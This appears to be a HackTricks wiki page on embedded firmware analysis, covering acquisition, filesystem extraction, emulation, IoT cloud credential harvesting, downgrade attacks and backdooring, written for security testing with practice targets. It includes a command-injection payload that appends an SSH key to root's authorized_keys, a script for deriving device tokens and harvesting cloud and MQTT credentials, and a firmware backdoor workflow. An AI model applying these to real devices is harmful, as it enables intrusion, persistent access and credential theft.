> ## Documentation Index > Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt > Use this file to discover all available pages before exploring further. # Firmware Analysis > Methodology for acquiring, extracting, and analyzing embedded device firmware — including filesystem extraction, static/dynamic analysis, emulation, downgrade attacks, and IoT credential harvesting. Firmware is essential software that enables devices to operate by managing communication between hardware and software. Examining and potentially modifying firmware is a critical step in identifying security vulnerabilities in IoT devices, routers, and embedded systems. ## Gathering Information Before acquiring firmware, collect: * CPU architecture and operating system * Bootloader specifics * Hardware layout and datasheets * External libraries and license types * Update histories and regulatory certifications * Security assessments and known CVEs Use **OSINT tools** and analyze any available open-source components. Static analysis tools like [Coverity Scan](https://scan.coverity.com) can help find issues in open-source components. ## Acquiring Firmware * Download from the manufacturer's official support site * Obtain directly from developers or manufacturers * Build from provided source instructions * Use Google dork queries to find hosted firmware files * Intercept OTA update traffic via MitM * Sniff update requests within device communication * Identify and use hardcoded update endpoints * Extract via **UART**, **JTAG**, or **PICit** debug interfaces * Dump from the bootloader * Remove and read the storage chip directly with appropriate hardware tools * Access cloud storage directly (e.g., S3 buckets via [S3Scanner](https://github.com/sa7mon/S3Scanner)) * Extract from companion mobile apps (firmware often bundled in APK assets) ```bash theme={null} apktool d vendor-app.apk -o vendor-app ls vendor-app/assets/firmware # firmware_v1.3.11.490_signed.bin ``` ## Analyzing Firmware ### Initial Inspection ```bash theme={null} file # Identify file type strings -n8 # Extract strings (min length 8) strings -tx # Print string offsets in hex hexdump -C -n 512 > hex.out # First 512 bytes in hex hexdump -C | head # Check header signatures fdisk -lu # List partitions # Check entropy (low = unencrypted, high = encrypted/compressed) binwalk -E ``` ### Extracting the Filesystem ```bash theme={null} # Auto-extract with binwalk binwalk -ev # Manual extraction example (Squashfs) binwalk DIR850L_REVB.bin # Identify squashfs offset from output (e.g., 0x1A0094) dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs unsquashfs dir.squashfs # Extracts to squashfs-root/ # Other filesystem types: cpio -ivd --no-absolute-filenames -F # CPIO archives jefferson rootfsfile.jffs2 # JFFS2 ubireader_extract_images -u UBI -s # UBIFS ``` ### Filesystem Analysis Once extracted, examine key locations: * `etc/shadow` and `etc/passwd` — user credentials * `etc/ssl/` — SSL certificates and private keys * Config files with hardcoded API keys or passwords * Startup scripts (`etc/init.d/`, `etc/rc.d/`) * Web server configs and CGI scripts * Compiled binaries for offline analysis ```bash theme={null} # Run LinPEAS on extracted filesystem ./linpeas.sh # Use Firmwalker for automated sensitive info search ./firmwalker.sh /path/to/squashfs-root/ ``` **Recommended tools:** * [FACT (Firmware Analysis and Comparison Tool)](https://github.com/fkie-cad/FACT_core) * [EMBA](https://github.com/e-m-b-a/emba) * [FwAnalyzer](https://github.com/cruise-automation/fwanalyzer) ### Security Checks on Compiled Binaries ```bash theme={null} # Check for security mitigations (NX, ASLR, stack canaries, etc.) checksec --file= # Check binary architecture file ./squashfs-root/bin/busybox # Check for MIPS big-endian binary emulation sudo apt-get install qemu qemu-user qemu-user-static qemu-mips ./binary # Big-endian MIPS qemu-mipsel ./binary # Little-endian MIPS ``` ## IoT Cloud Credential Harvesting Many IoT hubs fetch per-device configuration from cloud endpoints using tokens derived from a hardcoded secret: ```bash theme={null} # 1. Extract deviceId from UART boot logs picocom -b 115200 /dev/ttyUSB0 # Look for: Online Config URL https://api.vendor.tld/pf// # 2. Recover STATIC_KEY from firmware (Ghidra/radare2, search for "/pf/" or MD5 usage) # 3. Derive the token DEVICE_ID="d88b00112233" STATIC_KEY="cf50deadbeefcafebabe" printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}' # 4. Fetch cloud config API_HOST="https://api.vendor.tld" TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}') curl -sS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq . # 5. Subscribe to MQTT topics with harvested credentials mosquitto_sub -h -p -V mqttv311 \ -i -u -P \ -t "//admin" -v ``` ## Firmware Downgrade Attacks Even when vendors implement cryptographic signature checks, **version rollback protection is frequently omitted**. If the bootloader only verifies the signature but not the version number, older vulnerable firmware with valid signatures can be re-flashed. ### Attack Workflow * Download from vendor portal or CDN * Extract from companion mobile app APK (`assets/firmware/`) * Retrieve from VirusTotal, Internet archives, forums Via any exposed update channel: Web UI, mobile-app API, USB, TFTP, MQTT. Many consumer IoT devices accept unauthenticated HTTP POST requests with firmware blobs. After downgrade, exploit the vulnerability that was patched in the newer version. ```http theme={null} POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys ``` ### Update Logic Assessment Checklist * [ ] Is the update endpoint protected with TLS + authentication? * [ ] Does the device compare **version numbers** or a **monotonic anti-rollback counter**? * [ ] Is the image verified inside a secure boot chain? * [ ] Does userland code perform additional sanity checks (model number, partition map)? * [ ] Do partial/backup update flows reuse the same validation logic? ## Emulation for Dynamic Analysis ```bash theme={null} # Full firmware emulation with Firmadyne git clone https://github.com/firmadyne/firmadyne # Individual binary emulation qemu-mips -L ./squashfs-root ./squashfs-root/bin/busybox ls # Chroot emulation copy_qemu_static=$(which qemu-mips-static) cp $copy_qemu_static ./squashfs-root/usr/bin/ chroot ./squashfs-root /usr/bin/qemu-mips-static /bin/sh ``` ## Firmware Integrity & Backdooring If integrity or signature verification flaws exist in the update process, a modified firmware can be uploaded. The general workflow: 1. Extract with **firmware-mod-kit (FMK)** 2. Identify target architecture and endianness 3. Build a cross compiler (e.g., Buildroot) and compile a backdoor 4. Copy backdoor to `usr/bin/` in extracted rootfs 5. Repackage with FMK 6. Upload via the update mechanism and test connectivity via netcat ## Practice Targets Intentionally vulnerable IoT firmware for practice: [github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) Damn Vulnerable Router Firmware: [github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) Damn Vulnerable IoT Device: [github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) Pre-configured OS with firmware analysis tools: [github.com/adi0x90/attifyos](https://github.com/adi0x90/attifyos) ## References * [Firmware Security Testing Methodology](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) * [Practical IoT Hacking — Chantzis et al.](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) * [Exploiting zero days in abandoned hardware — Trail of Bits](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) * [How a \$20 Smart Device Gave Me Access to Your Home — Bishop Fox](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home)